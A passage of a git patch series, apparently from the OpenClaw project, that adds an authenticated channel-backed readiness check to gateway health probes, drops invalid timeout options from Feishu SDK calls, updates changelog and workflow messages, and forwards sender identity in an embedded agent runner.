b/src/gateway/server-http.test-harness.ts index bf963487038..24612d60b1f 100644 --- a/src/gateway/server-http.test-harness.ts +++ b/src/gateway/server-http.test-harness.ts @@ -28,11 +28,15 @@ export function createRequest(params: { path: string; authorization?: string; method?: string; + remoteAddress?: string; + host?: string; }): IncomingMessage { return createGatewayRequest({ path: params.path, authorization: params.authorization, method: params.method, + remoteAddress: params.remoteAddress, + host: params.host, }); } @@ -127,6 +131,8 @@ export async function sendRequest( path: string; authorization?: string; method?: string; + remoteAddress?: string; + host?: string; }, ): Promise> { const response = createResponse(); diff --git a/src/gateway/server-http.ts b/src/gateway/server-http.ts index 41911f35b49..612ce90dbba 100644 --- a/src/gateway/server-http.ts +++ b/src/gateway/server-http.ts @@ -20,7 +20,12 @@ import { normalizeRateLimitClientIp, type AuthRateLimiter, } from "./auth-rate-limit.js"; -import { type GatewayAuthResult, type ResolvedGatewayAuth } from "./auth.js"; +import { + authorizeHttpGatewayConnect, + isLocalDirectRequest, + type GatewayAuthResult, + type ResolvedGatewayAuth, +} from "./auth.js"; import { normalizeCanvasScopedUrl } from "./canvas-capability.js"; import { handleControlUiAvatarRequest, @@ -46,6 +51,7 @@ import { resolveHookDeliver, } from "./hooks.js"; import { sendGatewayAuthFailure, setDefaultSecurityHeaders } from "./http-common.js"; +import { getBearerToken } from "./http-utils.js"; import { handleOpenAiHttpRequest } from "./openai-http.js"; import { handleOpenResponsesHttpRequest } from "./openresponses-http.js"; import { @@ -59,6 +65,7 @@ import { type PluginHttpRequestHandler, type PluginRoutePathContext, } from "./server/plugins-http.js"; +import type { ReadinessChecker } from "./server/readiness.js"; import type { GatewayWsClient } from "./server/ws-types.js"; import { handleToolsInvokeHttpRequest } from "./tools-invoke-http.js"; @@ -150,11 +157,39 @@ function shouldEnforceDefaultPluginGatewayAuth(pathContext: PluginRoutePathConte ); } -function handleGatewayProbeRequest( +async function canRevealReadinessDetails(params: { + req: IncomingMessage; + resolvedAuth: ResolvedGatewayAuth; + trustedProxies: string[]; + allowRealIpFallback: boolean; +}): Promise { + if (isLocalDirectRequest(params.req, params.trustedProxies, params.allowRealIpFallback)) { + return true; + } + if (params.resolvedAuth.mode === "none") { + return false; + } + + const bearerToken = getBearerToken(params.req); + const authResult = await authorizeHttpGatewayConnect({ + auth: params.resolvedAuth, + connectAuth: bearerToken ? { token: bearerToken, password: bearerToken } : null, + req: params.req, + trustedProxies: params.trustedProxies, + allowRealIpFallback: params.allowRealIpFallback, + }); + return authResult.ok; +} + +async function handleGatewayProbeRequest( req: IncomingMessage, res: ServerResponse, requestPath: string, -): boolean { + resolvedAuth: ResolvedGatewayAuth, + trustedProxies: string[], + allowRealIpFallback: boolean, + getReadiness?: ReadinessChecker, +): Promise { const status = GATEWAY_PROBE_STATUS_BY_PATH.get(requestPath); if (!status) { return false; @@ -169,14 +204,34 @@ function handleGatewayProbeRequest( return true; } - res.statusCode = 200; res.setHeader("Content-Type", "application/json; charset=utf-8"); res.setHeader("Cache-Control", "no-store"); - if (method === "HEAD") { - res.end(); - return true; + + let statusCode: number; + let body: string; + if (status === "ready" && getReadiness) { + const includeDetails = await canRevealReadinessDetails({ + req, + resolvedAuth, + trustedProxies, + allowRealIpFallback, + }); + try { + const result = getReadiness(); + statusCode = result.ready ? 200 : 503; + body = JSON.stringify(includeDetails ? result : { ready: result.ready }); + } catch { + statusCode = 503; + body = JSON.stringify( + includeDetails ? { ready: false, failing: ["internal"], uptimeMs: 0 } : { ready: false }, + ); + } + } else { + statusCode = 200; + body = JSON.stringify({ ok: true, status }); } - res.end(JSON.stringify({ ok: true, status })); + res.statusCode = statusCode; + res.end(method === "HEAD" ? undefined : body); return true; } @@ -519,6 +574,7 @@ export function createGatewayHttpServer(opts: { resolvedAuth: ResolvedGatewayAuth; /** Optional rate limiter for auth brute-force protection. */ rateLimiter?: AuthRateLimiter; + getReadiness?: ReadinessChecker; tlsOptions?: TlsOptions; }): HttpServer { const { @@ -537,6 +593,7 @@ export function createGatewayHttpServer(opts: { shouldEnforcePluginGatewayAuth, resolvedAuth, rateLimiter, + getReadiness, } = opts; const httpServer: HttpServer = opts.tlsOptions ? createHttpsServer(opts.tlsOptions, (req, res) => { @@ -693,7 +750,16 @@ export function createGatewayHttpServer(opts: { requestStages.push({ name: "gateway-probes", - run: () => handleGatewayProbeRequest(req, res, requestPath), + run: () => + handleGatewayProbeRequest( + req, + res, + requestPath, + resolvedAuth, + trustedProxies, + allowRealIpFallback, + getReadiness, + ), }); if (await runGatewayHttpRequestStages(requestStages)) { diff --git a/src/gateway/server-runtime-state.ts b/src/gateway/server-runtime-state.ts index 9054b3a2a3f..5733f3671e4 100644 --- a/src/gateway/server-runtime-state.ts +++ b/src/gateway/server-runtime-state.ts @@ -32,6 +32,7 @@ import { shouldEnforceGatewayAuthForPluginPath, type PluginRoutePathContext, } from "./server/plugins-http.js"; +import type { ReadinessChecker } from "./server/readiness.js"; import type { GatewayTlsRuntime } from "./server/tls.js"; import type { GatewayWsClient } from "./server/ws-types.js"; @@ -61,6 +62,7 @@ export async function createGatewayRuntimeState(params: { log: { info: (msg: string) => void; warn: (msg: string) => void }; logHooks: ReturnType; logPlugins: ReturnType; + getReadiness?: ReadinessChecker; }): Promise<{ canvasHost: CanvasHostHandler | null; httpServer: HttpServer; @@ -156,6 +158,7 @@ export async function createGatewayRuntimeState(params: { shouldEnforcePluginGatewayAuth, resolvedAuth: params.resolvedAuth, rateLimiter: params.rateLimiter, + getReadiness: params.getReadiness, tlsOptions: params.gatewayTls?.enabled ? params.gatewayTls.tlsOptions : undefined, }); try { diff --git a/src/gateway/server.impl.ts b/src/gateway/server.impl.ts index efb95e7a7cf..e9c83156260 100644 --- a/src/gateway/server.impl.ts +++ b/src/gateway/server.impl.ts @@ -106,6 +106,7 @@ import { incrementPresenceVersion, refreshGatewayHealthSnapshot, } from "./server/health-state.js"; +import { createReadinessChecker } from "./server/readiness.js"; import { loadGatewayTlsRuntime } from "./server/tls.js"; import { ensureGatewayStartupAuth, @@ -546,6 +547,17 @@ export async function startGatewayServer( if (cfgAtStart.gateway?.tls?.enabled && !gatewayTls.enabled) { throw new Error(gatewayTls.error ?? "gateway tls: failed to enable"); } + const serverStartedAt = Date.now(); + const channelManager = createChannelManager({ + loadConfig, + channelLogs, + channelRuntimeEnvs, + channelRuntime: createPluginRuntime().channel, + }); + const getReadiness = createReadinessChecker({ + channelManager, + startedAt: serverStartedAt, + }); const { canvasHost, httpServer, @@ -589,6 +601,7 @@ export async function startGatewayServer( log, logHooks, logPlugins, + getReadiness, }); let bonjourStop: (() => Promise) | null = null; const nodeRegistry = new NodeRegistry(); @@ -618,12 +631,6 @@ export async function startGatewayServer( }); let { cron, storePath: cronStorePath } = cronState; - const channelManager = createChannelManager({ - loadConfig, - channelLogs, - channelRuntimeEnvs, - channelRuntime: createPluginRuntime().channel, - }); const { getRuntimeSnapshot, startChannels, startChannel, stopChannel, markChannelLoggedOut } = channelManager; diff --git a/src/gateway/server/readiness.test.ts b/src/gateway/server/readiness.test.ts new file mode 100644 index 00000000000..c41f8d050f2 --- /dev/null +++ b/src/gateway/server/readiness.test.ts @@ -0,0 +1,202 @@ +import { describe, expect, it, vi } from "vitest"; +import type { ChannelId } from "../../channels/plugins/index.js"; +import type { ChannelAccountSnapshot } from "../../channels/plugins/types.js"; +import type { ChannelManager, ChannelRuntimeSnapshot } from "../server-channels.js"; +import { createReadinessChecker } from "./readiness.js"; + +function snapshotWith( + accounts: Record>, +): ChannelRuntimeSnapshot { + const channels: ChannelRuntimeSnapshot["channels"] = {}; + const channelAccounts: ChannelRuntimeSnapshot["channelAccounts"] = {}; + + for (const [channelId, accountSnapshot] of Object.entries(accounts)) { + const resolved = { accountId: "default", ...accountSnapshot } as ChannelAccountSnapshot; + channels[channelId as ChannelId] = resolved; + channelAccounts[channelId as ChannelId] = { default: resolved }; + } + + return { channels, channelAccounts }; +} + +function createManager(snapshot: ChannelRuntimeSnapshot): ChannelManager { + return { + getRuntimeSnapshot: vi.fn(() => snapshot), + startChannels: vi.fn(), + startChannel: vi.fn(), + stopChannel: vi.fn(), + markChannelLoggedOut: vi.fn(), + isManuallyStopped: vi.fn(() => false), + resetRestartAttempts: vi.fn(), + }; +} + +describe("createReadinessChecker", () => { + it("reports ready when all managed channels are healthy", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: startedAt, + lastEventAt: Date.now() - 1_000, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + vi.useRealTimers(); + }); + + it("ignores disabled and unconfigured channels", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: false, + enabled: false, + configured: true, + lastStartAt: startedAt, + }, + telegram: { + running: false, + enabled: true, + configured: false, + lastStartAt: startedAt, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + vi.useRealTimers(); + }); + + it("uses startup grace before marking disconnected channels not ready", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 30_000; + const manager = createManager( + snapshotWith({ + discord: { + running: true, + connected: false, + enabled: true, + configured: true, + lastStartAt: startedAt, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 30_000 }); + vi.useRealTimers(); + }); + + it("reports disconnected managed channels after startup grace", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: true, + connected: false, + enabled: true, + configured: true, + lastStartAt: startedAt, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: false, failing: ["discord"], uptimeMs: 300_000 }); + vi.useRealTimers(); + }); + + it("keeps restart-pending channels ready during reconnect backoff", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: false, + restartPending: true, + reconnectAttempts: 3, + enabled: true, + configured: true, + lastStartAt: startedAt - 30_000, + lastStopAt: Date.now() - 5_000, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + vi.useRealTimers(); + }); + + it("treats stale-socket channels as ready to avoid pulling healthy idle pods", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 31 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: startedAt, + lastEventAt: Date.now() - 31 * 60_000, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 1_860_000 }); + vi.useRealTimers(); + }); + + it("caches readiness snapshots briefly to keep repeated probes cheap", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 5 * 60_000; + const manager = createManager( + snapshotWith({ + discord: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: startedAt, + lastEventAt: Date.now() - 1_000, + }, + }), + ); + + const readiness = createReadinessChecker({ + channelManager: manager, + startedAt, + cacheTtlMs: 1_000, + }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_000 }); + vi.advanceTimersByTime(500); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 300_500 }); + expect(manager.getRuntimeSnapshot).toHaveBeenCalledTimes(1); + + vi.advanceTimersByTime(600); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 301_100 }); + expect(manager.getRuntimeSnapshot).toHaveBeenCalledTimes(2); + vi.useRealTimers(); + }); +}); diff --git a/src/gateway/server/readiness.ts b/src/gateway/server/readiness.ts new file mode 100644 index 00000000000..e6ad2d92afb --- /dev/null +++ b/src/gateway/server/readiness.ts @@ -0,0 +1,79 @@ +import type { ChannelAccountSnapshot } from "../../channels/plugins/types.js"; +import { + DEFAULT_CHANNEL_CONNECT_GRACE_MS, + DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, + evaluateChannelHealth, + type ChannelHealthPolicy, + type ChannelHealthEvaluation, +} from "../channel-health-policy.js"; +import type { ChannelManager } from "../server-channels.js"; + +export type ReadinessResult = { + ready: boolean; + failing: string[]; + uptimeMs: number; +}; + +export type ReadinessChecker = () => ReadinessResult; + +const DEFAULT_READINESS_CACHE_TTL_MS = 1_000; + +function shouldIgnoreReadinessFailure( + accountSnapshot: ChannelAccountSnapshot, + health: ChannelHealthEvaluation, +): boolean { + if (health.reason === "unmanaged" || health.reason === "stale-socket") { + return true; + } + // Channel restarts spend time in backoff with running=false before the next + // lifecycle re-enters startup grace. Keep readiness green during that handoff + // window, but still surface hard failures once restart attempts are exhausted. + return health.reason === "not-running" && accountSnapshot.restartPending === true; +} + +export function createReadinessChecker(deps: { + channelManager: ChannelManager; + startedAt: number; + cacheTtlMs?: number; +}): ReadinessChecker { + const { channelManager, startedAt } = deps; + const cacheTtlMs = Math.max(0, deps.cacheTtlMs ?? DEFAULT_READINESS_CACHE_TTL_MS); + let cachedAt = 0; + let cachedState: Omit | null = null; + + return (): ReadinessResult => { + const now = Date.now(); + const uptimeMs = now - startedAt; + if (cachedState && now - cachedAt < cacheTtlMs) { + return { ...cachedState, uptimeMs }; + } + + const snapshot = channelManager.getRuntimeSnapshot(); + const failing: string[] = []; + const policy: ChannelHealthPolicy = { + now, + staleEventThresholdMs: DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, + channelConnectGraceMs: DEFAULT_CHANNEL_CONNECT_GRACE_MS, + }; + + for (const [channelId, accounts] of Object.entries(snapshot.channelAccounts)) { + if (!accounts) { + continue; + } + for (const accountSnapshot of Object.values(accounts)) { + if (!accountSnapshot) { + continue; + } + const health = evaluateChannelHealth(accountSnapshot, policy); + if (!health.healthy && !shouldIgnoreReadinessFailure(accountSnapshot, health)) { + failing.push(channelId); + break; + } + } + } + + cachedAt = now; + cachedState = { ready: failing.length === 0, failing }; + return { ...cachedState, uptimeMs }; + }; +} From 7ce79c8972429d7bc94326662998c3c47f52c4fa Mon Sep 17 00:00:00 2001 From: AngryBird <48046333+angrybirddd@users.noreply.github.com> Date: Sat, 7 Mar 2026 05:22:19 +0800 Subject: [PATCH 062/844] docs: fix broken dashboard image on i18n pages (#38031) The dashboard screenshot uses a relative path `src="whatsapp-openclaw.jpg"` which resolves correctly on the English root page but produces 404 on zh-CN and ja-JP pages because Mintlify prepends the language subdirectory to the CDN path. Change to absolute path `/whatsapp-openclaw.jpg` in all three index files, consistent with other images on the same page that already use absolute paths (e.g. `/assets/openclaw-logo-text-dark.png`). --- docs/index.md | 2 +- docs/ja-JP/index.md | 2 +- docs/zh-CN/index.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/index.md b/docs/index.md index 606ff4828e5..2821cb1c84f 100644 --- a/docs/index.md +++ b/docs/index.md @@ -124,7 +124,7 @@ Open the browser Control UI after the Gateway starts. - Remote access: [Web surfaces](/web) and [Tailscale](/gateway/tailscale)

- OpenClaw + OpenClaw

## Configuration (optional) diff --git a/docs/ja-JP/index.md b/docs/ja-JP/index.md index 63d83d74ab2..a47280c8dc2 100644 --- a/docs/ja-JP/index.md +++ b/docs/ja-JP/index.md @@ -118,7 +118,7 @@ Gatewayの起動後、ブラウザでControl UIを開きます。 - リモートアクセス: [Webサーフェス](/web)および[Tailscale](/gateway/tailscale)

- OpenClaw + OpenClaw

## 設定(オプション) diff --git a/docs/zh-CN/index.md b/docs/zh-CN/index.md index 65d2db9ea83..3999dc6fda4 100644 --- a/docs/zh-CN/index.md +++ b/docs/zh-CN/index.md @@ -118,7 +118,7 @@ Gateway 网关启动后,打开浏览器控制界面。 - 远程访问:[Web 界面](/web)和 [Tailscale](/gateway/tailscale)

- OpenClaw + OpenClaw

## 配置(可选) From 20db7afd5f2bf55fc23e97c4ad81ea03cd9e7f9c Mon Sep 17 00:00:00 2001 From: Anton Eicher <54324760+ant1eicher@users.noreply.github.com> Date: Fri, 6 Mar 2026 23:50:34 +0200 Subject: [PATCH 063/844] fix(feishu): remove invalid timeout properties from SDK method calls (#38267) The `timeout` property is not part of the Lark SDK method signatures, causing TS2353 errors. The client-level `httpTimeoutMs` already applies the timeout to all requests. Co-authored-by: Claude Opus 4.6 --- extensions/feishu/src/media.test.ts | 11 ++--------- extensions/feishu/src/media.ts | 4 ---- 2 files changed, 2 insertions(+), 13 deletions(-) diff --git a/extensions/feishu/src/media.test.ts b/extensions/feishu/src/media.test.ts index 122b4477809..7fd5a0a7bd8 100644 --- a/extensions/feishu/src/media.test.ts +++ b/extensions/feishu/src/media.test.ts @@ -182,7 +182,7 @@ describe("sendMediaFeishu msg_type routing", () => { ); }); - it("uses image upload timeout override for image media", async () => { + it("uploads image for image media", async () => { await sendMediaFeishu({ cfg: {} as any, to: "user:ou_target", @@ -190,11 +190,7 @@ describe("sendMediaFeishu msg_type routing", () => { fileName: "photo.png", }); - expect(imageCreateMock).toHaveBeenCalledWith( - expect.objectContaining({ - timeout: 120_000, - }), - ); + expect(imageCreateMock).toHaveBeenCalled(); expect(messageCreateMock).toHaveBeenCalledWith( expect.objectContaining({ data: expect.objectContaining({ msg_type: "image" }), @@ -320,7 +316,6 @@ describe("sendMediaFeishu msg_type routing", () => { expect(imageGetMock).toHaveBeenCalledWith( expect.objectContaining({ path: { image_key: imageKey }, - timeout: 120_000, }), ); expect(result.buffer).toEqual(Buffer.from("image-data")); @@ -512,7 +507,6 @@ describe("downloadMessageResourceFeishu", () => { expect.objectContaining({ path: { message_id: "om_audio_msg", file_key: "file_key_audio" }, params: { type: "file" }, - timeout: 120_000, }), ); expect(result.buffer).toBeInstanceOf(Buffer); @@ -532,7 +526,6 @@ describe("downloadMessageResourceFeishu", () => { expect.objectContaining({ path: { message_id: "om_img_msg", file_key: "img_key_1" }, params: { type: "image" }, - timeout: 120_000, }), ); expect(result.buffer).toBeInstanceOf(Buffer); diff --git a/extensions/feishu/src/media.ts b/extensions/feishu/src/media.ts index 6d9f821c602..4aba038b4a9 100644 --- a/extensions/feishu/src/media.ts +++ b/extensions/feishu/src/media.ts @@ -106,7 +106,6 @@ export async function downloadImageFeishu(params: { const response = await client.im.image.get({ path: { image_key: normalizedImageKey }, - timeout: FEISHU_MEDIA_HTTP_TIMEOUT_MS, }); const buffer = await readFeishuResponseBuffer({ @@ -146,7 +145,6 @@ export async function downloadMessageResourceFeishu(params: { const response = await client.im.messageResource.get({ path: { message_id: messageId, file_key: normalizedFileKey }, params: { type }, - timeout: FEISHU_MEDIA_HTTP_TIMEOUT_MS, }); const buffer = await readFeishuResponseBuffer({ @@ -202,7 +200,6 @@ export async function uploadImageFeishu(params: { // eslint-disable-next-line @typescript-eslint/no-explicit-any -- SDK accepts Buffer or ReadStream image: imageData as any, }, - timeout: FEISHU_MEDIA_HTTP_TIMEOUT_MS, }); // SDK v1.30+ returns data directly without code wrapper on success @@ -277,7 +274,6 @@ export async function uploadFileFeishu(params: { file: fileData as any, ...(duration !== undefined && { duration }), }, - timeout: FEISHU_MEDIA_HTTP_TIMEOUT_MS, }); // SDK v1.30+ returns data directly without code wrapper on success From 864a1ecae7d0df2fb16b911bbb255001219ce4fc Mon Sep 17 00:00:00 2001 From: Shadow Date: Fri, 6 Mar 2026 15:53:10 -0600 Subject: [PATCH 064/844] docs: add changelog entry for Feishu timeouts (#38356) --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 99c04190526..bb22e361d2d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -208,6 +208,7 @@ Docs: https://docs.openclaw.ai - Windows/Plugin install: when OpenClaw runs on Windows via Bun and `npm-cli.js` is not colocated with the runtime binary, fall back to `npm.cmd`/`npx.cmd` through the existing `cmd.exe` wrapper so `openclaw plugins install` no longer fails with `spawn EINVAL`. (#38056) Thanks @0xlin2023. - Telegram/send retry classification: retry grammY `Network request ... failed after N attempts` envelopes in send flows without reclassifying plain `Network request ... failed!` wrappers as transient, restoring the intended retry path while keeping broad send-context message matching tight. (#38056) Thanks @0xlin2023. - Gateway/probes: keep `/health`, `/healthz`, `/ready`, and `/readyz` reachable when the Control UI is mounted at `/`, preserve plugin-owned route precedence on those paths, and make `/ready` and `/readyz` report channel-backed readiness with startup grace plus `503` on disconnected managed channels, while `/health` and `/healthz` stay shallow liveness probes. (#18446) Thanks @vibecodooor, @mahsumaktas, and @vincentkoc. +- Feishu/media downloads: drop invalid timeout fields from SDK method calls now that client-level `httpTimeoutMs` applies to requests. (#38267) Thanks @ant1eicher and @thewilloftheshadow. ## 2026.3.2 From c301c5d08345f532e00de6b47aeecb64f25ac2c5 Mon Sep 17 00:00:00 2001 From: Shadow Date: Fri, 6 Mar 2026 15:53:59 -0600 Subject: [PATCH 065/844] fix: add no-ci-pr auto-response label --- .github/workflows/auto-response.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.github/workflows/auto-response.yml b/.github/workflows/auto-response.yml index 5f20a699944..8ef4f407f44 100644 --- a/.github/workflows/auto-response.yml +++ b/.github/workflows/auto-response.yml @@ -49,6 +49,14 @@ jobs: message: "Please use [our support server](https://discord.gg/clawd) and ask in #help or #users-helping-users to resolve this, or follow the stuck FAQ at https://docs.openclaw.ai/help/faq#im-stuck-whats-the-fastest-way-to-get-unstuck.", }, + { + label: "r: no-ci-pr", + message: `Please don't make PRs for test failures on main. + +The team is aware of those and will handle them directly on the codebase, not only fixing the tests but also investigating what the root cause is. Having to sift through test-fix-PRs (including some that have been out of date for weeks...) on top of that doesn't help. There are already way too many PRs for humans to manage; please don't make the flood worse. + +Thank you.`, + }, { label: "r: too-many-prs", close: true, From 91494b259690e274174fe9620b451a2d6ba0a718 Mon Sep 17 00:00:00 2001 From: Shadow Date: Fri, 6 Mar 2026 16:24:50 -0600 Subject: [PATCH 066/844] fix: repair auto-response workflow YAML --- .github/workflows/auto-response.yml | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/.github/workflows/auto-response.yml b/.github/workflows/auto-response.yml index 8ef4f407f44..8fb76b99b9e 100644 --- a/.github/workflows/auto-response.yml +++ b/.github/workflows/auto-response.yml @@ -51,11 +51,10 @@ jobs: }, { label: "r: no-ci-pr", - message: `Please don't make PRs for test failures on main. - -The team is aware of those and will handle them directly on the codebase, not only fixing the tests but also investigating what the root cause is. Having to sift through test-fix-PRs (including some that have been out of date for weeks...) on top of that doesn't help. There are already way too many PRs for humans to manage; please don't make the flood worse. - -Thank you.`, + message: + "Please don't make PRs for test failures on main.\n\n" + + "The team is aware of those and will handle them directly on the codebase, not only fixing the tests but also investigating what the root cause is. Having to sift through test-fix-PRs (including some that have been out of date for weeks...) on top of that doesn't help. There are already way too many PRs for humans to manage; please don't make the flood worse.\n\n" + + "Thank you.", }, { label: "r: too-many-prs", From e601bf2d8ef41a4c799c6742e7a9cd875e83e9f7 Mon Sep 17 00:00:00 2001 From: Wei Zhou Date: Sat, 7 Mar 2026 06:31:15 +0800 Subject: [PATCH 067/844] fix(pi-embedded-runner): propagate sender identity to fix Feishu doc create auto-grant (#32915) Merged via squash. Prepared head SHA: efb229307559ad37062b454da444567f5dca8a96 Co-authored-by: cszhouwei <1811726+cszhouwei@users.noreply.github.com> Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com> Reviewed-by: @jalehman --- CHANGELOG.md | 2 ++ src/agents/pi-embedded-runner/run.ts | 4 +++ .../usage-reporting.test.ts | 34 +++++++++++++++++++ 3 files changed, 40 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bb22e361d2d..60ec0602041 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -209,6 +209,7 @@ Docs: https://docs.openclaw.ai - Telegram/send retry classification: retry grammY `Network request ... failed after N attempts` envelopes in send flows without reclassifying plain `Network request ... failed!` wrappers as transient, restoring the intended retry path while keeping broad send-context message matching tight. (#38056) Thanks @0xlin2023. - Gateway/probes: keep `/health`, `/healthz`, `/ready`, and `/readyz` reachable when the Control UI is mounted at `/`, preserve plugin-owned route precedence on those paths, and make `/ready` and `/readyz` report channel-backed readiness with startup grace plus `503` on disconnected managed channels, while `/health` and `/healthz` stay shallow liveness probes. (#18446) Thanks @vibecodooor, @mahsumaktas, and @vincentkoc. - Feishu/media downloads: drop invalid timeout fields from SDK method calls now that client-level `httpTimeoutMs` applies to requests. (#38267) Thanks @ant1eicher and @thewilloftheshadow. +- PI embedded runner/Feishu docs: propagate sender identity into embedded attempts so Feishu doc auto-grant restores requester access for embedded-runner executions. (#32915) thanks @cszhouwei. ## 2026.3.2 @@ -2880,6 +2881,7 @@ Docs: https://docs.openclaw.ai - BlueBubbles: resolve short message IDs safely and expose full IDs in templates. (#1387) Thanks @tyler6204. - Infra: preserve fetch helper methods when wrapping abort signals. (#1387) - macOS: default distribution packaging to universal binaries. (#1396) Thanks @JustYannicc. +- Embedded runner: forward sender identity into attempt execution so Feishu doc auto-grant receives requester context again. (#32915) Thanks @cszhouwei. ## 2026.1.20 diff --git a/src/agents/pi-embedded-runner/run.ts b/src/agents/pi-embedded-runner/run.ts index 52faf8514b7..11be807e120 100644 --- a/src/agents/pi-embedded-runner/run.ts +++ b/src/agents/pi-embedded-runner/run.ts @@ -803,6 +803,10 @@ export async function runEmbeddedPiAgent( groupChannel: params.groupChannel, groupSpace: params.groupSpace, spawnedBy: params.spawnedBy, + senderId: params.senderId, + senderName: params.senderName, + senderUsername: params.senderUsername, + senderE164: params.senderE164, senderIsOwner: params.senderIsOwner, currentChannelId: params.currentChannelId, currentThreadTs: params.currentThreadTs, diff --git a/src/agents/pi-embedded-runner/usage-reporting.test.ts b/src/agents/pi-embedded-runner/usage-reporting.test.ts index ed8d1227225..f4d6f5cbe44 100644 --- a/src/agents/pi-embedded-runner/usage-reporting.test.ts +++ b/src/agents/pi-embedded-runner/usage-reporting.test.ts @@ -10,6 +10,40 @@ describe("runEmbeddedPiAgent usage reporting", () => { vi.clearAllMocks(); }); + it("forwards sender identity fields into embedded attempts", async () => { + mockedRunEmbeddedAttempt.mockResolvedValueOnce({ + aborted: false, + promptError: null, + timedOut: false, + sessionIdUsed: "test-session", + assistantTexts: ["Response 1"], + // eslint-disable-next-line @typescript-eslint/no-explicit-any + } as any); + + await runEmbeddedPiAgent({ + sessionId: "test-session", + sessionKey: "test-key", + sessionFile: "/tmp/session.json", + workspaceDir: "/tmp/workspace", + prompt: "hello", + timeoutMs: 30000, + runId: "run-sender-forwarding", + senderId: "user-123", + senderName: "Josh Lehman", + senderUsername: "josh", + senderE164: "+15551234567", + }); + + expect(mockedRunEmbeddedAttempt).toHaveBeenCalledWith( + expect.objectContaining({ + senderId: "user-123", + senderName: "Josh Lehman", + senderUsername: "josh", + senderE164: "+15551234567", + }), + ); + }); + it("reports total usage from the last turn instead of accumulated total", async () => { // Simulate a multi-turn run result. // Turn 1: Input 100, Output 50. Total 150. From 110ca23bab2793a1dc89672425a670f73bdb1e0c Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 17:33:38 -0500 Subject: [PATCH 068/844] Feishu: update media timeout tests --- extensions/feishu/src/media.test.ts | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/extensions/feishu/src/media.test.ts b/extensions/feishu/src/media.test.ts index 7fd5a0a7bd8..813e5090292 100644 --- a/extensions/feishu/src/media.test.ts +++ b/extensions/feishu/src/media.test.ts @@ -16,6 +16,8 @@ const messageCreateMock = vi.hoisted(() => vi.fn()); const messageResourceGetMock = vi.hoisted(() => vi.fn()); const messageReplyMock = vi.hoisted(() => vi.fn()); +const FEISHU_MEDIA_HTTP_TIMEOUT_MS = 120_000; + vi.mock("./client.js", () => ({ createFeishuClient: createFeishuClientMock, })); @@ -54,6 +56,14 @@ function expectPathIsolatedToTmpRoot(pathValue: string, key: string): void { expect(rel === ".." || rel.startsWith(`..${path.sep}`)).toBe(false); } +function expectMediaTimeoutClientConfigured(): void { + expect(createFeishuClientMock).toHaveBeenCalledWith( + expect.objectContaining({ + httpTimeoutMs: FEISHU_MEDIA_HTTP_TIMEOUT_MS, + }), + ); +} + describe("sendMediaFeishu msg_type routing", () => { beforeEach(() => { vi.clearAllMocks(); @@ -182,7 +192,7 @@ describe("sendMediaFeishu msg_type routing", () => { ); }); - it("uploads image for image media", async () => { + it("configures the media client timeout for image uploads", async () => { await sendMediaFeishu({ cfg: {} as any, to: "user:ou_target", @@ -190,7 +200,7 @@ describe("sendMediaFeishu msg_type routing", () => { fileName: "photo.png", }); - expect(imageCreateMock).toHaveBeenCalled(); + expectMediaTimeoutClientConfigured(); expect(messageCreateMock).toHaveBeenCalledWith( expect.objectContaining({ data: expect.objectContaining({ msg_type: "image" }), @@ -318,6 +328,7 @@ describe("sendMediaFeishu msg_type routing", () => { path: { image_key: imageKey }, }), ); + expectMediaTimeoutClientConfigured(); 